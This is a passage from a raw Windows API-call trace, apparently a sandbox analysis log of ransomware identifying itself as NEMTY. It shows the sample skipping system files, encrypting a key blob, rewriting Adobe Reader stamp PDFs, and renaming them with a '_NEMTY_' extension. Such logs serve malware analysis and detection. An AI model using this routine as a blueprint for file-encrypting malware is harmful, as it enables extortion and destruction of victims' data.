(lpString1="Pointers.pdf", lpString2="desktop.ini") returned 1 [0189.830] lstrcmpiW (lpString1="Pointers.pdf", lpString2="CONFIG.SYS") returned 1 [0189.830] lstrcmpiW (lpString1="Pointers.pdf", lpString2="RECYCLER") returned -1 [0189.830] lstrcmpiW (lpString1="Pointers.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.830] lstrcmpiW (lpString1="Pointers.pdf", lpString2="bootmgr") returned 1 [0189.831] lstrcmpiW (lpString1="Pointers.pdf", lpString2="programdata") returned -1 [0189.831] lstrcmpiW (lpString1="Pointers.pdf", lpString2="appdata") returned 1 [0189.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0189.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0189.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0189.831] Sleep (dwMilliseconds=0x5) [0189.834] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24cc0110, dwHighDateTime=0x1d561e8)) [0189.834] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24cc0110, dwHighDateTime=0x1d561e8)) [0189.834] GetLastError () returned 0x0 [0189.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.834] GetLastError () returned 0x0 [0189.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.834] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.834] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.835] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0189.835] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="9scSwGd//4ZSeqy9TbX/LZz+pjDQ9coMXQDfxrqxK8aI4np37au04lxZFRE0uIPI\r\nLrZYhHBWptImorDjdj/auFUOa3fjZw3Wr/mQRb99hpE/u4tTHiMofDDutdOuLM4h\r\nPjCQ8ZaUbFBJ1aLr2gIOctUw2kg0uYZODRiniD9FTaL44SCVRXnZu2qMIoNQ1/ax\r\nCxwVwmaZg52HCHN8USHGJlUXSzt6mqu6Q11oDarhiVZj6ajpzCLeHQ352ma/HGsy\r\nVtx+88xkfgUpWFe14pKaYk2RkP6pc6UOmhs8127pxzIjuvjxJ1aZ0h/F2J/y9DUb\r\n49XHWAGIdiRVyFB/hUeNAA==\r\n", pcchString=0x653df5c) returned 1 [0189.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0189.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.835] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\pointers.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.835] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=46897) returned 1 [0189.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb730) returned 0x6352c48 [0189.835] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.835] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xb730, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xb730, lpOverlapped=0x0) returned 1 [0189.841] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.841] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xb730, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xb730, lpOverlapped=0x0) returned 1 [0189.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.842] SetFilePointer (in: hFile=0x320, lDistanceToMove=46897, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb731 [0189.842] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.842] CloseHandle (hObject=0x320) returned 1 [0189.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0189.842] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.842] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0189.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0189.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0189.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.842] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Pointers.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\pointers.pdf._nemty_kgobjgd_")) returned 1 [0189.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0189.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0189.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0189.843] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12fb3, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0189.843] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".") returned 1 [0189.843] lstrcmpiW (lpString1="SignHere.pdf", lpString2="..") returned 1 [0189.843] lstrcmpiW (lpString1="SignHere.pdf", lpString2="...") returned 1 [0189.843] lstrcmpiW (lpString1="SignHere.pdf", lpString2="windows") returned -1 [0189.843] lstrcmpiW (lpString1="SignHere.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.843] lstrcmpiW (lpString1="SignHere.pdf", lpString2="rsa") returned 1 [0189.843] lstrcmpiW (lpString1="SignHere.pdf", lpString2="NTDETECT.COM") returned 1 [0189.843] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntldr") returned 1 [0189.843] lstrcmpiW (lpString1="SignHere.pdf", lpString2="MSDOS.SYS") returned 1 [0189.843] lstrcmpiW (lpString1="SignHere.pdf", lpString2="IO.SYS") returned 1 [0189.843] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0189.843] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0189.843] lstrcmpiW (lpString1="SignHere.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.843] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntuser.dat") returned 1 [0189.843] lstrcmpiW (lpString1="SignHere.pdf", lpString2="desktop.ini") returned 1 [0189.843] lstrcmpiW (lpString1="SignHere.pdf", lpString2="CONFIG.SYS") returned 1 [0189.843] lstrcmpiW (lpString1="SignHere.pdf", lpString2="RECYCLER") returned 1 [0189.844] lstrcmpiW (lpString1="SignHere.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.844] lstrcmpiW (lpString1="SignHere.pdf", lpString2="bootmgr") returned 1 [0189.844] lstrcmpiW (lpString1="SignHere.pdf", lpString2="programdata") returned 1 [0189.844] lstrcmpiW (lpString1="SignHere.pdf", lpString2="appdata") returned 1 [0189.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0189.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0189.844] Sleep (dwMilliseconds=0x5) [0189.859] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24ce6270, dwHighDateTime=0x1d561e8)) [0189.859] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24ce6270, dwHighDateTime=0x1d561e8)) [0189.859] GetLastError () returned 0x0 [0189.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.859] GetLastError () returned 0x0 [0189.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.859] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.859] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.859] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0189.859] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="LSV/4WaPKtvcTSCGLgNO8kXBqdmf59+O+I6tIBTDKnNtRMwTZGJUkWv7W7bei2WR\r\noyCUbzA1Rd7w6T6j81KNAyYRlpsul2wjNJbA7S9bn/C0SdBowUo7G5qz9J0b7PQN\r\nXBtDK01f/Z1h3eSr9KUJliwX0B4kI+Ln6dapVL3hjyTnpuxudmHvoixCjExDzrhv\r\nTA5IiMLRGRjbA69m599NiPtA6hG/CY6QzPFKiFLhAg0ILTHYBb8mhY3sT8zn5g3p\r\nwzEsgfDm+3Yen6H36/FcPBzzZOF/h8jFAI0ZExR3b1dzDTSRMIll2uJcmbsadUC8\r\n85CLcRPwbFGkmr9WbmRbcg==\r\n", pcchString=0x653df5c) returned 1 [0189.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0189.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.860] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.860] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=77747) returned 1 [0189.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x12fb0) returned 0x6352c48 [0189.860] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.860] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x12fb0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x12fb0, lpOverlapped=0x0) returned 1 [0189.867] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.867] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x12fb0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x12fb0, lpOverlapped=0x0) returned 1 [0189.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.867] SetFilePointer (in: hFile=0x320, lDistanceToMove=77747, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12fb3 [0189.868] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.868] CloseHandle (hObject=0x320) returned 1 [0189.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0189.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0189.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0189.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0189.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.868] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\SignHere.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\signhere.pdf._nemty_kgobjgd_")) returned 1 [0189.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0189.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0189.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.869] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0189.869] lstrcmpiW (lpString1="Standard.pdf", lpString2=".") returned 1 